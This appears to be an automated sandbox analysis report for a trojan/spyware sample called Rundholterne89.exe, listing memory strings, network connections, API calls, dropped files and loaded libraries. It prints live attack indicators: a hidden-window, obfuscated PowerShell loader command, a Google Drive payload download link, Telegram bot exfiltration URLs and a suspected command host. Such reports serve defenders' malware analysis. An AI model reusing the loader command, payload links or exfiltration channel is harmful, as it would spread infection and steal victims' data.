Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1859059951.0000000004551000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.ionos.es
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.geotrust.com0
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.1859059951.0000000004551000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20a
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 00000006.00000002.2625379700.00000000233CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: msiexec.exe, 00000006.00000002.2625379700.00000000233C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 00000006.00000002.2603668887.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000006.00000002.2603668887.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/l
Source: msiexec.exe, 00000006.00000002.2623609506.00000000226A0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2603668887.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC
Source: msiexec.exe, 00000006.00000002.2603668887.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANCO
Source: msiexec.exe, 00000006.00000002.2603668887.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000006.00000002.2603668887.000000000063A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2603668887.000000000069A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC&export=download
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.000000002325C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: msiexec.exe, 00000006.00000002.2625379700.000000002325C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: msiexec.exe, 00000006.00000002.2625379700.00000000232CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.76
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023287000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.76$
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: msiexec.exe, 00000006.00000002.2625379700.00000000233FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: msiexec.exe, 00000006.00000002.2625379700.00000000233FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.10:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49728 version: TLS 1.2

Source: C:\Users\user\Desktop\Rundholterne89.exe

Code function: 0_2_00405086 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405086

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Rundholterne89.exe

Code function: 0_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040310F

Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_004048C5	0_2_004048C5
Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_004064CB	0_2_004064CB
Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_00406CA2	0_2_00406CA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_043DE260	2_2_043DE260
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_043DDFDD	2_2_043DDFDD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06DCC936	2_2_06DCC936
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031C146	6_2_0031C146
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031D278	6_2_0031D278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_00315362	6_2_00315362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031C468	6_2_0031C468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031C738	6_2_0031C738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031E988	6_2_0031E988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031CA08	6_2_0031CA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031CCD8	6_2_0031CCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_00313E09	6_2_00313E09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031CFAA	6_2_0031CFAA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031F974	6_2_0031F974
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_0031E97A	6_2_0031E97A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_003169A0	6_2_003169A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_003129EC	6_2_003129EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_00319DE0	6_2_00319DE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_00316FC8	6_2_00316FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF2968	6_2_25DF2968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFFC68	6_2_25DFFC68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF9C18	6_2_25DF9C18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF17A0	6_2_25DF17A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF0B30	6_2_25DF0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF9328	6_2_25DF9328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF1E80	6_2_25DF1E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFDDF1	6_2_25DFDDF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD999	6_2_25DFD999
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD9A8	6_2_25DFD9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD550	6_2_25DFD550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF9548	6_2_25DF9548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD540	6_2_25DFD540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD0F8	6_2_25DFD0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFD0E9	6_2_25DFD0E9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFCC8F	6_2_25DFCC8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFCCA0	6_2_25DFCCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF0040	6_2_25DF0040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF501B	6_2_25DF501B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF0015	6_2_25DF0015
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFF810	6_2_25DFF810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFF802	6_2_25DFF802
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF5028	6_2_25DF5028
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF8B91	6_2_25DF8B91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF178F	6_2_25DF178F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFF3B8	6_2_25DFF3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFF3A8	6_2_25DFF3A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF8BA0	6_2_25DF8BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFEF51	6_2_25DFEF51
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFEF60	6_2_25DFEF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFEB08	6_2_25DFEB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF0B20	6_2_25DF0B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFEAF8	6_2_25DFEAF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFE6B0	6_2_25DFE6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFE6A0	6_2_25DFE6A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFE258	6_2_25DFE258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFE257	6_2_25DFE257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DF1E70	6_2_25DF1E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 6_2_25DFDE00	6_2_25DFDE00

Source: Rundholterne89.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/14@6/6

Source: C:\Users\user\Desktop\Rundholterne89.exe

0_2_0040310F

Source: C:\Users\user\Desktop\Rundholterne89.exe

Code function: 0_2_00404352 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404352

Source: C:\Users\user\Desktop\Rundholterne89.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\Rundholterne89.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03

Source: C:\Users\user\Desktop\Rundholterne89.exe

File created: C:\Users\user\AppData\Local\Temp\nsr6A1.tmp

Jump to behavior

Source: Rundholterne89.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\Rundholterne89.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Rundholterne89.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\Rundholterne89.exe

File read: C:\Users\user\Desktop\Rundholterne89.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Rundholterne89.exe "C:\Users\user\Desktop\Rundholterne89.exe"
Source: C:\Users\user\Desktop\Rundholterne89.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\Rundholterne89.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rundholterne89.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
